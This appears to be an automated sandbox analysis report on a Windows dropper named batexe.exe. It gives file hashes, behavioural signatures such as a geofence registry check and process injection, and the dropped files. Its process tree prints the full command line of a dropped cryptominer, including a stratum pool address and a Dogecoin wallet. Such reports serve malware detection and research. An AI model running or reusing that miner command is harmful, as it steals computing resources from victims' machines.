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Analysis
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max time kernel
297s -
max time network
306s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
17/02/2024, 19:33
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 2936 b2e.exe 4488 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 4488 cpuminer-sse2.exe 4488 cpuminer-sse2.exe 4488 cpuminer-sse2.exe 4488 cpuminer-sse2.exe 4488 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/1172-9-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1172 wrote to memory of 2936 1172 batexe.exe 83 PID 1172 wrote to memory of 2936 1172 batexe.exe 83 PID 1172 wrote to memory of 2936 1172 batexe.exe 83 PID 2936 wrote to memory of 4048 2936 b2e.exe 84 PID 2936 wrote to memory of 4048 2936 b2e.exe 84 PID 2936 wrote to memory of 4048 2936 b2e.exe 84 PID 4048 wrote to memory of 4488 4048 cmd.exe 87 PID 4048 wrote to memory of 4488 4048 cmd.exe 87
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Users\Admin\AppData\Local\Temp\97DB.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\97DB.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\97DB.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A7C9.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4488
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
13.9MB
MD5fec7b618bccd223c16449fef526e6268
SHA17471922809b5944b6fede228adcfc7b07b08af38
SHA256d27ccf0126df9ea9003732acf21232546dba0a3ead5b2fc3e4b0c386f307ae97
SHA5124e67fee057b407ed577765ec7b59774baf800fe2db80a61bd2fa7ac5aeb48d5f93b99d3ba6655692626f99009fa3fa2ec97bc448793712bae439a7138d353f17
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Filesize
7.2MB
MD574c2e047753aae976d260d83bbf62676
SHA1af2ff87a23e2940de2258b785faa76508c93c123
SHA256826411201aec1c9b9b56f80a477777c2eb3866888e99e9c9d12db630071e7a50
SHA512b84f777ef3d41fc01b99b6b532540a375d99513837f684f92572bc1ac5191000c14c92929bdcd5513bb3c91d9383700eba99649d6aa823e8ff2b09da057d3b0c
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Filesize
6.1MB
MD5d365a291ef52b895dbcb3ea0124e01aa
SHA1e1a39126b28348ad0e09066d4e0f9522f6e01845
SHA256893d4ebf9cb121b99825af49e4e7abb9ea32dac56bf90aa0ee86124053ad7a74
SHA5128f0ae9ea9326727fb55ad40586a79df623a71c801696f8efbb1ed8dca2642c090d93fc9bb911c43a28d4a3b0f71e0bd457e440e96f3aae70b464825fc0ecbb35
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
6.8MB
MD5cfb335e8f2dee3bd3c3177a55c868a95
SHA12bc3a88885f525843b65fde38dc9b5434ca3bdb1
SHA2569e07f6188702fd1350fe0420e5e73f09455c95578a9ac87cae73d4492086c302
SHA51297d5d7fef02b450b1e088d115c8fa4429c284abfd860755538c55e6bf4c5418609365afda3510ef0f63ed135bc6705404247cce24fbbed690e0d3f3ef87baeb0
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Filesize
8.4MB
MD5b714dde72712c3d0cd12e095c34d0d9d
SHA1f76fcf2f529fd87e16e0410ff0d7426aea7b940f
SHA256f8eb27876f37447a805a4582e46e8d8a65905f5824f5c1957c0f096573427c90
SHA512c41f2528f21f5addbd5c78e72493b1aa788ce17fb38618e3f1b6d107884b1aecf1394e295ecd992422963cdabcc1d9d0e67fcd5d50dab065e629fd183455fd2d
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Filesize
2.8MB
MD5c89eccb172245572e12e1ef31352c451
SHA196b44d49114268c567b7a9682327d27a0f0aa80d
SHA2567891f06b27f93b1ee548c045eaa07511bc74c292cc4c6d5275dc66523730bf33
SHA51219fee3424df1abc582f55c4785e5175bb0bd1375e235aefedbfbe30be07d2642937b09abec4f06802c28e248e1052b58453695baf29d26efa3e0a81848e8e0c1
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770